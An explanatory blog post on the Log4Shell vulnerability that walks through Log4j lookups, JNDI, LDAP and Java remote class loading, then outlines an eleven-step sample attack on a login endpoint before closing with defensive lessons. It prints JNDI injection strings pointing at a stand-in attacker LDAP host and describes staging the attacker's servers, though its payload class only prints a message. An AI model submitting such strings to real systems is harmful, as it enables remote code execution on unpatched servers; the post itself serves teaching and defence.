Log4Shell – How a Logger Opened a Serious Security Flaw

Assuming that there is a careful developer developing an authentication system. He decides to log user’s usernames on the console so that he can observe who logged in at what time. When a user with username userA logs in, the console will shows [INFO] Login Attempt: userA . Very straightforward, no magic here. System is built with framework Spring Boot, on Java 8. The logger is Log4J 2.6.1 which is available via Spring Boot’s package spring-boot-starter-log4j2. The code is like so:

@RestController
public class LoginController {
private static final Logger logger =
LogManager.getLogger(LoginController.class);
@PostMapping("/login")
public String login(
@RequestParam String username,
@RequestParam String password) {
logger.info("Login attempt: username={}", username);
return _do_login(username, password);
}
}

Every setup follows standard steps given by Spring Boot document. System works normally, until there is a user with username ${jndi:ldap://A-STRANGE-IP/test} logs in! Then system get hacked, data got stolen, and shutdown itself. How can this possible ?

1. A Flexible Logger

1.1. What is Log4J ?

Logging is one of the most popular methods for developers to debug applications and for system engineers to observe how a system is operating. For someone learning programming, writing logs is often one of the very first practices – the famous Hello World tutorials. Every programming language provides a simple way to write logs, such as print() in Python, console.log() in JavaScript, or System.out.println() in Java.

However, printing text and building a logging system are two different things. A real application may generate thousands or millions of log messages per day, and engineers barely can not read them all but using a Log Aggregation system. Beside displayed texts, engineers also need to know other metadata such as log levels ( DEBUG, INFO, WARN, and ERROR), timestamps, thread information, log files, log rotation, formatting, and the ability to send logs to different systems.

This is where Log4j comes in. Log4j is a logging framework for Java applications. Instead of developers implementing all these logging capabilities themselves, they can use Log4j to provide a standardized way to manage application logs without investing time and effort to reinvent the wheel.

Up to this stage, Log4J shows no weakness.

1.2. What is JNDI lookups ?

Beyond standard logging capabilities, Log4j aimed to be even more flexible. Instead of limiting log messages to static text and application variables, Log4j introduced a feature called Lookups, which allows the logging system to retrieve additional information dynamically while processing a log message.

For example, a log message could contain a special expression like ${lookup_mechanism:resource_name} that will instruct Log4j to retrieve a particular value given a resource name and a lookup mechanism. Among the available lookup mechanisms was JNDI Lookup.

JNDI, or Java Naming and Directory Interface, is a standard Java API for finding resources and objects by name. It can communicate with naming and directory services such as LDAP. In Log4j, this functionality was exposed through the jndi lookup syntax:

${jndi:resource_name_here}

The intended idea was straightforward:

Log message
${jndi:...}
Log4j Lookup
JNDI
Requested resource

This flexibility was useful in many use cases such as:

  • Looking up database connections that are managed by a remote server, instead of hard-coding database connection details inside the application. This helps Java applications quickly adapt when the database locations can change without requiring user to re-download new application versions.
  • Hide resource’s physical locations: for security purpose, hiding resource’s physical location is a good practice. JNDI lookup mechanism can provide a solution for this when Java application only need to know resource’s name instead of a full URL to connect to.
  • Centralizing configuration, where system settings, which often including API keys, should be managed by a dedicated system instead of hard-coded in source code or .env files – which make it easy to be leaked.
  • Enterprise application integration, where Java applications need to discover services, objects, or other resources provided by another system that belong to another organizations.
  • Accessing directory information, such as users, groups, or organizational data stored in an LDAP directory.

In simple terms, JNDI allowed a Java application to load a resource given resource’s name without knowing exactly where that resource is.

Up to this stage, everything seems harmless and flexible.

1.3. What is LDAP ?

One of the services that JNDI can communicate with is LDAP (Lightweight Directory Access Protocol). LDAP is a protocol designed to store and retrieve information from a directory service. An application, here is JNDI Lookups, can ask the LDAP server for information associated with a resource name instead of maintaining its own copy of that information. LDAP is commonly used for user directories, authentication, groups, permissions, and organizational information, especially in enterprise environments. In this context, the relationship can be simplified as:

Java Application
JNDI
LDAP Provider
LDAP Server

LDAP normally provides directory information, but in the Java ecosystem, JNDI can also use information returned by an LDAP server to locate and construct Java objects. This is where the risk emerges: the Java object. Conceptually, the process could look like this:

Java Application
JNDI
LDAP Server
JNDI Reference
Java Object
Class Loader
Java Class

In old Java environments such as Java 8, the JNDI Reference could point to a class hosted at a remote location. The Java runtime could then use its class-loading mechanism to obtain that class and load it into the application.

At this stage, it sounds like a potential Remote Code Execution (RCE) because Remote Java object can contain malicious code, and it can be loaded at runtime, and execute with running application’s privileges.

1.4. What is Remote Class Loading in Java ?

Normally, when a Java application needs a class, the Java Class Loader looks for it in places that are already available to the application, such as its own JAR files or the local filesystem.

Remote class loading is the idea that allows Java application to obtain classes from a location outside its local environment. Instead of packaging every class with the application, the application can store only information about where to obtain other classes and then load them while it is running. This capability is useful in distributed Java systems when applications can dynamically obtain new functionalities without having every class bundled locally.

But, this smart design introduces one risk: if that location outside is controlled by someone else, they can inject any code to the Java application and execute with that Java application’s privilege.

2. How does Log4Shell work ?

Although RCE is possible at this stage, a more concerning problem is not how complex this exploit chain is, but how invisible it is to the developer. Not every developer was aware of Log4j’s JNDI Lookup mechanism. For most developers, Log4j was simply a convenient library for writing application logs by calling logger.info(), logger.warn(), or logger.error() without needing to understand all of the internal features provided by the library. These additional features were normally invisible to developers. A developer might write something as simple as:

logger.info("Login attempt: username={}", username);

and reasonably expect Log4j to do nothing more than format the message and write it to a log file.

However, vulnerable versions of Log4j could do more than that. It could interpret certain expressions inside log messages as Lookups, including JNDI Lookups. And if, the Java environment still allows Remote Class Loading, a skillful hacker can craft an input that potentially causes Remote Code Execution.

This is where Log4Shell was born – a security flaw buried inside a library.

2.1. A Sample Attack

Back to the scenario at the top of this post, an attacker can prepare a plan like so:

Step 1: Prepare the malicious Java class

The attacker first creates a Java class that performs some action when it is loaded or initialized. For a safe demonstration, this simply prints a message rather than opening a backdoor.

public class DemoPayload {
static {
// Harmless proof-of-execution for experiment
System.out.println("Log4Shell payload executed");
}
}

The class is then compiled into a .class file using the JDK compiler (javac).

Step 2: Host the malicious Java object

Attacker hosts a HTTP server that can serve above compiled Java object:

http://attacker-host/Log4ShellDemo

Step 3: Set up a LDAP server

Next, the attacker runs an LDAP server and configures it to return a JNDI reference pointing to http://attacker-host/Log4ShellDemo for a resource with name Log4ShellDemo. For example, suppose the attacker’s LDAP server is hosted at 10.11.22.33.

Step 4: Search for Log4J usages

The attacker then looks for, or guesses for a piece of input that the target application may append it in logs using Log4j. For example, the sample application contain:

logger.info("Login attempt: username={}", username);

Step 5: Submit the JNDI expression

The attacker submits a specially crafted value containing a JNDI Lookup expression. Conceptually:

${jndi:ldap://10.11.22.33/Log4ShellDemo}

Step 6: The application logs the submitted value

The vulnerable application receives the request and write log as usual:

POST /login
username = ${jndi:ldap://10.11.22.33/Log4ShellDemo}

At this point, the developer may believe the application is simply recording the username. But Log4J silently does more than that.

Step 7: Vulnerable Log4j processes the Lookup

Instead of treating the entire username as ordinary text, vulnerable Log4j version triggers Lookup mechanism that recognizes the JNDI expression and invokes its JNDI Lookup automatically.

Step 8: JNDI contacts the attacker’s LDAP server

JndiLookup passes the requested name to Java’s JNDI API. The JNDI implementation then selects the appropriate provider to communicate with the LDAP server:

Log4j
JndiLookup
JNDI API
LDAP provider
Attacker LDAP server (here is ldap://10.11.22.33)

Step 9: LDAP returns a JNDI reference

Instead of simply returning a username or directory record, the attacker’s LDAP server can return information describing an object that JNDI should resolve. This could contain information associated with a Java class and its codebase. Conceptually:

LDAP
JNDI Reference
├── Object/class information
└── Codebase information

This is where the LDAP server becomes more than a simple data store: it can instruct a Java environment to construct Java objects if this Java environment enable feature Remote Class Loading – which is default on in many Java 8 versions.

Step 10: Java environment performs the Remote Class Loading

On Java environment that enables Remote Class Loading, JNDI could follow the returned reference and use Java’s class-loading mechanisms to obtain that referenced class from a remote location. The chain therefore becomes:

LDAP Reference
JNDI object resolution
Remote class location
Java ClassLoader
DemoPayload.class

Step 11: The malicious Java class is initialized

Once the Java class is successfully loaded and initialized, code inside it can be executed:

DemoPayload.class
Class initialization
"Log4Shell payload executed"

3. What can we learn from that ?

Log4Shell is an example of how a seemingly ordinary software dependency can become a critical security incident. The application itself may contain no obvious vulnerability, yet a library deep inside its dependency tree can introduce a dangerous capability that attackers can reach through completely normal application inputs.

3.1. Security flaws can be buried inside popular libraries

Modern applications are built on top of dozens or even hundreds of third-party libraries. So that, a library should be treated as part of the application’s attack surface, not as a trusted black box. Keeping dependencies updated, monitoring security advisories, scanning dependency trees, and removing unnecessary libraries are therefore important parts of application security.

3.2. Do not forget outbound connections in firewalls

Security teams often focus heavily on incoming connections: which ports are exposed to the Internet and which systems can connect to the application. Log4Shell demonstrated why outbound traffic matters too. Restricting outbound connections provides an additional layer of defense when an application’s dependency can be compromised.

3.3. Least Privilege Principle

Even if an attacker manages to achieve code execution, the damage can be limited by the privileges available to the compromised process. This is where the Principle of Least Privilege keep shining: a program should have only the permissions it actually needs to perform its job.

Log4Shell is therefore more than a story about one vulnerable Java library. It is a practical demonstration of why dependency management, network segmentation, egress control, and least privilege must work together as layers of defense.


Leave a Reply